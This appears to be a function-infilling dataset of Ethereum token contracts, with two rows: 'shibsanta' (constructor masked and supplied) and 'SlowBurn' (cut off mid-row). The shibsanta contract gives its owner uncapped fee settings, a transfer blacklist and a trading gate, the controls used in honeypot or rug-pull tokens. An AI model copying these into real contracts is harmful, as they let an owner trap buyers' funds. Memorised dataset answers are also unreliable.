source_idx
int64
0
94.3k
contract_name
stringlengths
1
55
func_name
stringlengths
0
2.45k
masked_body
stringlengths
60
686k
masked_all
stringlengths
34
686k
func_body
stringlengths
0
324k
signature_only
stringlengths
10
2.47k
signature_extend
stringlengths
11
28.1k
7,680
shibsanta
null
contract shibsanta is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shib is my Santa"; string private constant _symbol = "shibsanta"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xD882FfC26Dfdb426cF94804E1E9E4223C9b1A357); address payable private _marketingAddress = payable(0xD882FfC26Dfdb426cF94804E1E9E4223C9b1A357); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private cooldownEnabled = false; uint256 public _maxTxAmount = 50000000000000 * 10**9; //5 uint256 public _maxWalletSize = 70000000000000 * 10**9; //7 uint256 public _swapTokensAtAmount = 1000000000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() {<FILL_FUNCTION_BODY> } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner() && !preTrader[from] && !preTrader[to]) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount); // _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
contract shibsanta is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Shib is my Santa"; string private constant _symbol = "shibsanta"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 10; //Sell Fee uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => bool) public preTrader; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xD882FfC26Dfdb426cF94804E1E9E4223C9b1A357); address payable private _marketingAddress = payable(0xD882FfC26Dfdb426cF94804E1E9E4223C9b1A357); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; bool private cooldownEnabled = false; uint256 public _maxTxAmount = 50000000000000 * 10**9; //5 uint256 public _maxWalletSize = 70000000000000 * 10**9; //7 uint256 public _swapTokensAtAmount = 1000000000000 * 10**9; //0.1 event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } <FILL_FUNCTION> function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner() && !preTrader[from] && !preTrader[to]) { //Trade start check if (!tradingOpen) { require(preTrader[from], "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount); // _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } function allowPreTrading(address account, bool allowed) public onlyOwner { require(preTrader[account] != allowed, "TOKEN: Already enabled."); preTrader[account] = allowed; } }
_developmentAddress = payable(0xD882FfC26Dfdb426cF94804E1E9E4223C9b1A357); _marketingAddress = payable(0xD882FfC26Dfdb426cF94804E1E9E4223C9b1A357); _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; preTrader[owner()] = true; emit Transfer(address(0), _msgSender(), _tTotal);
constructor()
constructor()
13,413
SlowBurn
maybeReprice
contract SlowBurn { using SafeMath for uint256; address public developer; uint32 public presaleStartTime; uint32 public epoch; uint32 public lastRepriceTime; address public uniswapPair; // Presale period of 1 week. uint32 constant private kPresalePeriod = 604800; // Allow token reprices once per day. uint32 constant private kRepriceInterval = 86400; // Window during which maybeReprice can fail. uint32 constant private kRepriceWindow = 3600; // The token lister and successful maybeReprice callers will be rewarded with freshly minted tokens with // value 0.1 eth to offset any gas costs incurred. uint constant private kRewardWei = 10 ** 17; // Upon listing, developer receives 5% of uniswap's initial token balance. uint constant private kDeveloperTokenCut = 5; // Initial token price of ~ $0.01 uint constant private kPresaleTokensPerEth = 90000; // Don't allow individual users to mint more than 1 eth's worth of tokens during presale. uint constant private kMaxPresaleTokensPerAccount = kPresaleTokensPerEth * (10 ** 18); // Don't allow presale to raise more than 200 Eth uint constant private kPresaleHardCap = 200 * (10 ** 18); // Token price increases by 20% each day. uint constant private kTokenPriceBump = 20; address constant private kWeth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; IUniswapV2Factory constant private kUniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); IUniswapV2Router02 constant private kUniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // ********* Start of boring old ERC20 stuff ********************** mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor () { _name = "SlowBurn"; _symbol = "SB"; _decimals = 18; developer = msg.sender; presaleStartTime = uint32(block.timestamp); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } // ********* And now for the good stuff! ********************** // Contract accepts ether during the presale period, minting the corresponding amount // of tokens for the sender. // The first caller after the presale period ends (or if the hard cap has been hit) // will have their ether returned and will receive a small token reward in exchange // for creating the uniswap pair for this token. // Subsequent calls will fail. receive() external payable { if (msg.sender == address(kUniswapRouter)) { // Failsafe. Just in case we screwed something up in listToken() and don't manage to // supply our full balance, let the router return the excess funds (otherwise pool creation // fails and we're all screwed!) Since any funds left in this contract will be unrecoverable, // we send to the developer who will fix the mistake and deposit in the uniswap pool. // Don't worry though, we didn't screw up the math! payable(developer).transfer(msg.value); return; } uint presaleEndTime = presaleStartTime + kPresalePeriod; if (block.timestamp < presaleEndTime && address(this).balance - msg.value < kPresaleHardCap) { uint tokens = msg.value.mul(kPresaleTokensPerEth); require(_balances[msg.sender].add(tokens) <= kMaxPresaleTokensPerAccount, "Exceeded the presale limit"); _mint(msg.sender, tokens); return; } require(uniswapPair == address(0), "Presale has ended"); msg.sender.transfer(msg.value); listToken(); payReward(); } // To make everyone's lives just a little more interesting, reprices will be separated // by roughly one day, but the exact timing is subject to the vicissitudes of fate. // If the token has not yet been listed, or if the last reprice took place less than // 23.5 hours ago, this function will fail. // If the last reprice was between 23.5 and 24.5 hours ago, this function will succeed // probabilistically, with the chance increasing from 0 to 1 linearly over the range. // If the last reprice was more than 24.5 hours ago, this function will succeed. // Upon success, the token is repriced and the caller is issued a small token reward. function maybeReprice() public {<FILL_FUNCTION_BODY> } // Create uniswap pair for this token, add liquidity, and mint the developer's token cut. function listToken() internal { require(uniswapPair == address(0), "Token already listed."); _approve(address(this), address(kUniswapRouter), 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); uint tokens = kPresaleTokensPerEth.mul(address(this).balance); _mint(developer, tokens.mul(kDeveloperTokenCut).div(100)); uniswapPair = kUniswapFactory.getPair(address(this), kWeth); if (uniswapPair == address(0)) { _mint(address(this), tokens); kUniswapRouter.addLiquidityETH{value:address(this).balance}(address(this), tokens, 0, 0, address(this), block.timestamp); uniswapPair = kUniswapFactory.getPair(address(this), kWeth); } else { // Sigh, someone has already pointlessly created the pair. Now we have to do some math :( (uint reserveA, uint reserveB,) = IUniswapV2Pair(uniswapPair).getReserves(); if (address(this) < kWeth) { // Round up tokens to ensure that all of the eth will be taken by the router. tokens = reserveA.mul(address(this).balance).add(reserveB).sub(1).div(reserveB); } else { // Round up tokens to ensure that all of the eth will be taken by the router. tokens = reserveB.mul(address(this).balance).add(reserveA).sub(1).div(reserveA); } _mint(address(this), tokens); kUniswapRouter.addLiquidityETH{value:address(this).balance}(address(this), tokens, 0, 0, address(this), block.timestamp); // Adjust price to match presale. adjustPrice(); // Might have a very small amount of tokens left in our contract. Tidy up. uint leftoverTokens = balanceOf(address(this)); if (leftoverTokens > 0) { _burn(address(this), leftoverTokens); } } // Don't think these can fail, but just in case ... require(uniswapPair != address(0)); // Set lastRepriceTime to nearest day since presaleStartTime to avoid reprices // occurring at some horrible time in the middle of the night. lastRepriceTime = presaleStartTime + ((uint32(block.timestamp) - presaleStartTime + 43200) / 86400) * 86400; } // Adjust token balance of uniswapPair so that token price = 1.2^epoch * presale token price. function adjustPrice() internal { require(uniswapPair != address(0), "Token hasn't been listed."); (uint reserveTokens, uint reserveEth,) = IUniswapV2Pair(uniswapPair).getReserves(); if (address(this) > kWeth) { uint temp = reserveTokens; reserveTokens = reserveEth; reserveEth = temp; } uint tokens = reserveEth.mul(kPresaleTokensPerEth); for (uint e = 0; e < epoch; e++) { tokens = tokens.mul(100).div(100+kTokenPriceBump); } if (tokens > reserveTokens) { _mint(uniswapPair, tokens.sub(reserveTokens)); IUniswapV2Pair(uniswapPair).sync(); } else if (tokens < reserveTokens) { _burn(uniswapPair, reserveTokens.sub(tokens)); IUniswapV2Pair(uniswapPair).sync(); } } // Mint tokens for msg.sender with value equal to kRewardWei. function payReward() internal { uint currentTokensPerEth = kPresaleTokensPerEth; for (uint e = 0; e < epoch; e++) { currentTokensPerEth = currentTokensPerEth.mul(100).div(100+kTokenPriceBump); } _mint(msg.sender, kRewardWei.mul(currentTokensPerEth)); } // Just in case people do something stupid like send WETH instead of ETH to presale, // allow for recovery by devs. function transferERC(address token, address recipient, uint amount) public { require(msg.sender == developer, "Nice try non-dev"); require(token != uniswapPair && token != address(this), "Nice try dev, no rug pulls allowed"); IERC20(token).transfer(recipient, amount); } }
contract SlowBurn { using SafeMath for uint256; address public developer; uint32 public presaleStartTime; uint32 public epoch; uint32 public lastRepriceTime; address public uniswapPair; // Presale period of 1 week. uint32 constant private kPresalePeriod = 604800; // Allow token reprices once per day. uint32 constant private kRepriceInterval = 86400; // Window during which maybeReprice can fail. uint32 constant private kRepriceWindow = 3600; // The token lister and successful maybeReprice callers will be rewarded with freshly minted tokens with // value 0.1 eth to offset any gas costs incurred. uint constant private kRewardWei = 10 ** 17; // Upon listing, developer receives 5% of uniswap's initial token balance. uint constant private kDeveloperTokenCut = 5; // Initial token price of ~ $0.01 uint constant private kPresaleTokensPerEth = 90000; // Don't allow individual users to mint more than 1 eth's worth of tokens during presale. uint constant private kMaxPresaleTokensPerAccount = kPresaleTokensPerEth * (10 ** 18); // Don't allow presale to raise more than 200 Eth uint constant private kPresaleHardCap = 200 * (10 ** 18); // Token price increases by 20% each day. uint constant private kTokenPriceBump = 20; address constant private kWeth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; IUniswapV2Factory constant private kUniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f); IUniswapV2Router02 constant private kUniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // ********* Start of boring old ERC20 stuff ********************** mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); constructor () { _name = "SlowBurn"; _symbol = "SB"; _decimals = 18; developer = msg.sender; presaleStartTime = uint32(block.timestamp); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != 